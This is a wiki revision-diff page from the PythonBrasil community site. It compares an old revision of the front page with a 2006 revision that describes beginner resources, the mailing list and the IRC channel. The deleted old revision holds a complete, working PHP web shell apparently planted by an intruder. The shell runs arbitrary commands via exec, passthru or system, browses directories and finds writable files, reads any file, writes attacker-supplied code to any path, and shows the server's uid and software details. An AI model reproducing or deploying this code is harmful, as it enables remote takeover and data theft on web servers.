associação pythonbrasil[11] django zope/plone planet Início Logado como (Entrar)
Impressione-se »
Python pode ser usada em diversos tipos de desenvolvimento.
Inicie-se »
Python pode ser usada livremente por qualquer desenvolvedor.
Aprenda mais »
Python tem uma sintaxe muito simples e também é fácil de aprender.
Envolva-se »
Participe da comunidade brasileira de desenvolvedores Python.

Diferenças para "PythonBrasil"

Diferenças entre as versões de 155 e 258 (103 versões de distância)
Revisão 155e 2004-05-09 23:21:19
Tamanho: 4935
Editor: 200216130105
Comentário:
Revisão 258e 2006-12-11 17:14:40
Tamanho: 2926
Editor: RudaMoura
Comentário:
Deleções são marcadas assim. Adições são marcadas assim.
Linha 1: Linha 1:
<center>
<?php
#acl All:read AdminGroup:read,write,delete,revert,admin
Linha 4: Linha 3:
    closelog( ); O Python Brasil reune grupos de usuários em todo o Brasil interessados em difundir e divulgar a linguagem de programação [http://python.org Python], abrigando em seu domínio todo o material editado sobre esta linguagem em nosso idioma (português do Brasil). Ele utiliza o software MoinMoin que é um [http://c2.com/cgi/wiki Wiki] inteiramente escrito em Python. Esse sistema foi escolhido por sua facilidade de uso e por ser uma ferramenta bastante democrática, permitindo que se desenvolva conteúdo rapidamente.
Linha 7: Linha 5:
  $dono = get_current_user( );
  $ver = phpversion( );
  $login = posix_getuid( );
  $euid = posix_geteuid( );
  $gid = posix_getgid( );
  if ($chdir == "") $chdir = getcwd( );
    
?>
= Iniciantes =
Linha 16: Linha 7:
Leitura recomendada para aqueles que têm interesse ou são iniciantes na linguagem Python:
Linha 17: Linha 9:
<?php    * InstalandoPythonNoWindows - Dica de como instalar o Python no Windows XP.
   * AprendaProgramar - Aprenda a Programar com a linguagem Python.
   * ListaDeExercicios - Para quem quer se exercitar e não sabe por onde começar.
   * DocumentacaoPython - Dezenas de tutoriais e artigos sobre Python para os mais diversos níveis de aprendizado.
   * CookBook - Exemplos e trechos de códigos úteis.
   * PerguntasFrequentes - Respostas às perguntas mais freqüentes.
Linha 19: Linha 16:
  $uname = posix_uname( );
  while (list($info, $value) = each ($uname)) {
Não diretamente relacionado com Python, mas importante:
   * ComoUsarWiki dicas para quem deseja usar o nosso Wiki.
Linha 22: Linha 19:
?>
  <TR>
    <TD width="457"><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD>
  </TR>
= Como Participar =
Linha 27: Linha 21:
Você pode participar da comunidade PythonBrasil diretamente aqui no site, através da lista de discussão ou via IRC.
Linha 28: Linha 23:
<?php
  }
?>
<center>
  <TR>
   <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||Usuario Corrente|||<br> <?= $dono ?></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PHP|||<br> <?= $ver ?></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PriV|||<br> uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid
?>)</DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">||||Path||||<br> <?= $chdir ?></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||ServerName|||<br><?php $aaa = gethostbyname($SERVER_NAME);
echo $aaa;?></DIV></TD>
  </TR>
   <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #f40707">|||HTTPD|||<br> <?="$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
  </TR>
</TABLE>
<BR>
<?php
=== Lista de Discussão ===
Linha 57: Linha 25:
  if ($cmd != "") {
    echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>";
A lista oficial do site é: python-brasil@yahoogrupos.com.br ([http://br.groups.yahoo.com/group/python-brasil/ página principal]). Para se cadastrar na python-brasil, envie email (com qualquer conteúdo/assunto) para python-brasil-subscribe@yahoogrupos.com.br ou preencher o formulário abaixo. Feito isso você receberá um e-mail de confirmação. É só responder a esse e-mail e pronto.
Linha 60: Linha 27:
?> [[HTML(<p><form method="get" action="http://br.groups.yahoo.com/subscribe/python-brasil">Assine a Lista:&nbsp;<input type="text" name="user" value="endereço de e-mail" size="20" /> <input type="submit" value="Assinar" /></form></p>)]]
Linha 62: Linha 29:
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV>
<?php
/!\ '''Antes de enviar mensagens para a lista dê uma lida na página AntesDePerguntar.'''
Linha 65: Linha 31:
if ($fe == 1){
$fe = "exec";
}
if ($fe == ""){
$fe = "passthru";
}
if ($fe == "2"){
$fe = "system";
}
Existe ainda uma lista chamada python-br que está sendo desativada. Se você tem conta nesta lista, por favor migre para a lista python-brasil. Pedimos a todos pythonistas e curiosos que não remetam e-mails para a lista python-br! Ela não tem como ser moderada ou gerenciada devido a um problema de autenticação.
Linha 75: Linha 33:
    if (isset($chdir)) @chdir($chdir); === Canal de IRC ===
Linha 77: Linha 35:
    ob_start( );
      $fe("$cmd 2>&1");
      $output = ob_get_contents();
    ob_end_clean( );
O canal oficial do '''Python''' no Brasil é o #python-br do irc.freenode.org.
Linha 82: Linha 37:
?>
<TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 10px;">
<?php
=== Outros ===
Linha 86: Linha 39:
    if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
?>
</TEXTAREA>
<BR>
<?php

  }
 
  if ($listar != "") {
    echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>";

?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV>
<?php

    if ($dir = @opendir($chdir)) {
      echo "<TABLE border=1 cellspacing=1 cellpadding=0>";
      echo "<TR>";
      echo "<TD valign=top>";
      echo "<b><font size=2 face=arial>Arquivos</b> <br><br>";
      while (($file = readdir($dir)) !== false) {
        if (@is_file($file)) {
          $file1 = fileowner($file);
          $file2 = fileperms($file);
       echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&oia=$file>$file</a><br>";
   // echo "<font color=green>$file1 - $file2 - $file </font><br>";
          flush( );
        }
      }

      echo "</TD>";
      echo"<TD valign=top>";
      echo "<b><font size=2 face=arial>Pastas</b> <br><br>";
      if ($dir = @opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
          if (@is_dir($file)) {
            $file1 = fileowner($file);
            $file2 = fileperms($file);
     echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>";
            // echo "<font color=blue>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo"<TD valign=top>";
      echo "<b><font size=2 face=arial>Pastas Alteraveis</b><br><br>";
      if ($dir = @opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
          if (@is_writable($file) && @is_dir($file)) {

            $file1 = fileowner($file);
            $file2 = fileperms($file);
            echo "<font color=red>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo "</TD>";
      echo "<TD valign=top>";
      echo "<b><font size=2 face=arial>Arquivos Alteraveis</b> <br><br>";
 
      if ($dir = opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
          if (@is_writable($file) && @is_file($file)) {
            $file1 = fileowner($file);
            $file2 = fileperms($file);
         echo "<font color=red>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo "</TR>";
      echo "</TABLE>";
    }
  }

?>

<html>
<body>
<form action=<?php echo $PHP_SELF; ?> method=post>
<input type=text name=codigo value="Codigo">
<input type=text name=caminho value="Caminho">
<br>
<input type=submit value=Send>
<br>
</body>
</html>

<?php


$codigo="$_POST[codigo]";
$caminho="$_POST[caminho]";
$fp = fopen("$caminho", "w");
    $ok = fwrite($fp, $codigo);




if ($oia != "") {
  $fp = fopen($oia, "r");
  $read = fread($fp, 30000);
  echo "$oia<br>";
  echo "<textarea name=textarea cols=80 rows=15>";
  echo "$read";
  Echo "</textarea>";
}
?>





   * CaixaDeSugestoes - Coloque aqui as suas sugestões para o presente e o futuro do PythonBrasil.
   * PaginasPessoaisLivroDeVisitas - Livro de visitas do Site (entre aqui e deixe sua assinatura).
   * OutrosGruposUsuarios - Outros sites de grupos de usuários Python.

O Python Brasil reune grupos de usuários em todo o Brasil interessados em difundir e divulgar a linguagem de programação [http://python.org Python], abrigando em seu domínio todo o material editado sobre esta linguagem em nosso idioma (português do Brasil). Ele utiliza o software MoinMoin que é um [http://c2.com/cgi/wiki Wiki] inteiramente escrito em Python. Esse sistema foi escolhido por sua facilidade de uso e por ser uma ferramenta bastante democrática, permitindo que se desenvolva conteúdo rapidamente.

Iniciantes

Leitura recomendada para aqueles que têm interesse ou são iniciantes na linguagem Python:

Não diretamente relacionado com Python, mas importante:

Como Participar

Você pode participar da comunidade PythonBrasil diretamente aqui no site, através da lista de discussão ou via IRC.

Lista de Discussão

A lista oficial do site é: python-brasil@yahoogrupos.com.br ([http://br.groups.yahoo.com/group/python-brasil/ página principal]). Para se cadastrar na python-brasil, envie email (com qualquer conteúdo/assunto) para python-brasil-subscribe@yahoogrupos.com.br ou preencher o formulário abaixo. Feito isso você receberá um e-mail de confirmação. É só responder a esse e-mail e pronto.

HTML(<p><form method="get" action="http://br.groups.yahoo.com/subscribe/python-brasil">Assine a Lista:&nbsp;<input type="text" name="user" value="endereço de e-mail" size="20" /> <input type="submit" value="Assinar" /></form></p>)

/!\ Antes de enviar mensagens para a lista dê uma lida na página AntesDePerguntar.

Existe ainda uma lista chamada python-br que está sendo desativada. Se você tem conta nesta lista, por favor migre para a lista python-brasil. Pedimos a todos pythonistas e curiosos que não remetam e-mails para a lista python-br! Ela não tem como ser moderada ou gerenciada devido a um problema de autenticação.

Canal de IRC

O canal oficial do Python no Brasil é o #python-br do irc.freenode.org.

Outros